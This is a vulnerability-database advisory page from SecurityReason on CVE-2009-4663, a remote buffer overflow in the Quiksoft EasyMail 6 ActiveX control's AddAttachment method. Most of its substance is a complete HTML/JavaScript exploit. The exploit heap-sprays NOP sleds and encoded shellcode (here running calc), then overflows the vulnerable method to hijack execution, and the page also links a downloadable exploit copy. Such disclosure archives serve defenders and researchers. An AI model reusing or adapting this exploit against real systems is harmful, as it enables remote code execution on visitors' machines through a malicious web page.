SecurityReason.com - Our Reason is

Security

Register | Forget Password | Login
SecurityReason
IT News
Search
SecurityAlert Database
About SecurityAlert
ExploitAlert Database
SecurityReason Research
WLB
WLB Database
Send to WLB
About WLB
Services
Security Audit
Schedule
Prices of services
Contact
RSS
SecurityReason IT News
SecurityAlert
World Laboratory of Bugtraq
ExploitAlert
Apache
PHP
Corporate
Contact
About SecurityReason
Note

If you have found a vulnerability, please send to our SecurityAlert Database :
secalert()securityreason()com

Also if you have new ( 0-day ) exploit, please send to our ExploitAlert Archive :
exploit()securityreason()com
Home arrow SecurityAlert Database

Arrow  Topic :

Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow


Arrow  SecurityAlert : 7087
Arrow  CVE : CVE-2009-4663
Arrow  CWE : CWE-119
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : Yes
Arrow  Exploit Available : Yes
  ExploitAlert :   7277
Arrow  Credit : bmgsec
Arrow  Published : 08.03.2010

Arrow  Affected Software : quiksoft:easymail_objects:6.0



Arrow  Advisory Content :  

<html>
<head>
<!--
-- Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow
Exploit
--
-- Its old and the latest version doesn't support this method.
-- I was bored and a similar post sparked my interest.
--
-- Advisory: http://www.bmgsec.com.au/advisory/48/
--
-- Written by:
-- bmgsec (bmgsec [at] gmail.com / www.bmgsec.com.au)
-- -->
<title>Quiksoft EasyMail 6 (AddAttachment) Remote Buffer Overflow
Exploit</title>
<object classid='clsid:68AC0D5F-0424-11D5-822F-00C04F6BA8D9'
id='test'></object>
<script language='javascript'>
function str_repeat ( input, multiplier ) {
return new Array(multiplier+1).join(input);
}

//windows/exec CMD: calc Size: 144 bytes Encoder: x86/shikata_ga_nai
ExitFunc: SEH
shellcode =
unescape("%uc931%u1eb1%ue2b8%udc1f%ud9cc%ud9e5%u2474%u5bf4%u4331%u830f%ufce
b"+

"%u4303%ufde9%u3029%u4505%uc9d2%ucdd5%uf597%uad5e%u7e12%ua161%u3196"+

"%ub679%uedf6%u2378%u6541%u384e%u9753%ufe9f%ucbcd%u3e5b%u1499%u75a2"+

"%u1a6f%u61e6%u2784%u51b2%u2d61%u11df%ue936%ucd1e%u7aaf%u5a2c%u22bb"+

"%u5d30%u5750%ud654%u83a7%ub4ed%u5783%u1b2e%ua1fd%uf2d0%uc699%ucb56"+

"%u99ea%ua05a%u059d%u3dcf%u3e35%uba86%ufe45%u6af2%u0f22%u8f88%u87ed"+
"%u7114%u569b%u7173%u057b%ue11a%ucae7");

bigblock = unescape("%u9090%u9090");
headersize = 20;
slackspace = headersize + shellcode.length;

while (bigblock.length < slackspace)
bigblock += bigblock;

fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length - slackspace);

while (block.length + slackspace < 200000)
block = block + block + fillblock;

memory = new Array();
for (i=0; i<500; i++)
memory[i] = block + shellcode;

buffer = str_repeat('A', 433);
buffer += "BBBB";
buffer += str_repeat(unescape("%0b%0b%0b%0b"), 63);

test.AddAttachment(buffer, 1);
</script>
</head>
</html>

Arrow  References :

http://securityreason.com/expldownload/1/7277/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/53325
http://www.securityfocus.com/bid/36440
http://www.milw0rm.com/exploits/9705
http://www.bmgsec.com.au/advisories/easymail-6-activex-exploit.txt




Arrow  Feedback :

If you have additional information or notice any errors regarding this security advisory, please use contact form or email us at info()securityreason()com.
Alert

libc/fnmatch(3) DoS

Security Risk Medium- 2011-05-13

Allow attacker to denial of service apache 2.2.17 server
Apache RSS Apache Alert

» Apache HTTP Server Denial
   of Service Vulnerability

» Multiple Vendors
   libc/fnmatch(3) DoS (incl
   apache poc)

» Apache Continuum
   cross-site scripting
   vulnerability

» Apache Tomcat DoS
   Vulnerability
PHP RSS PHP Alert

» PHP Hashtables Denial of
   Service

» PHP 5.3.6 multiple null
   pointer dereference

» PHP 5.3.6 ZipArchive
   invalid use glob(3)

» libzip 0.9.3
   _zip_name_locate NULL
   Pointer Dereference (incl
   PHP 5.3.5)
ADT

Protect your family and valuables with Home Security Systems
Copyright © SecurityReason.com. All Rights Reserved.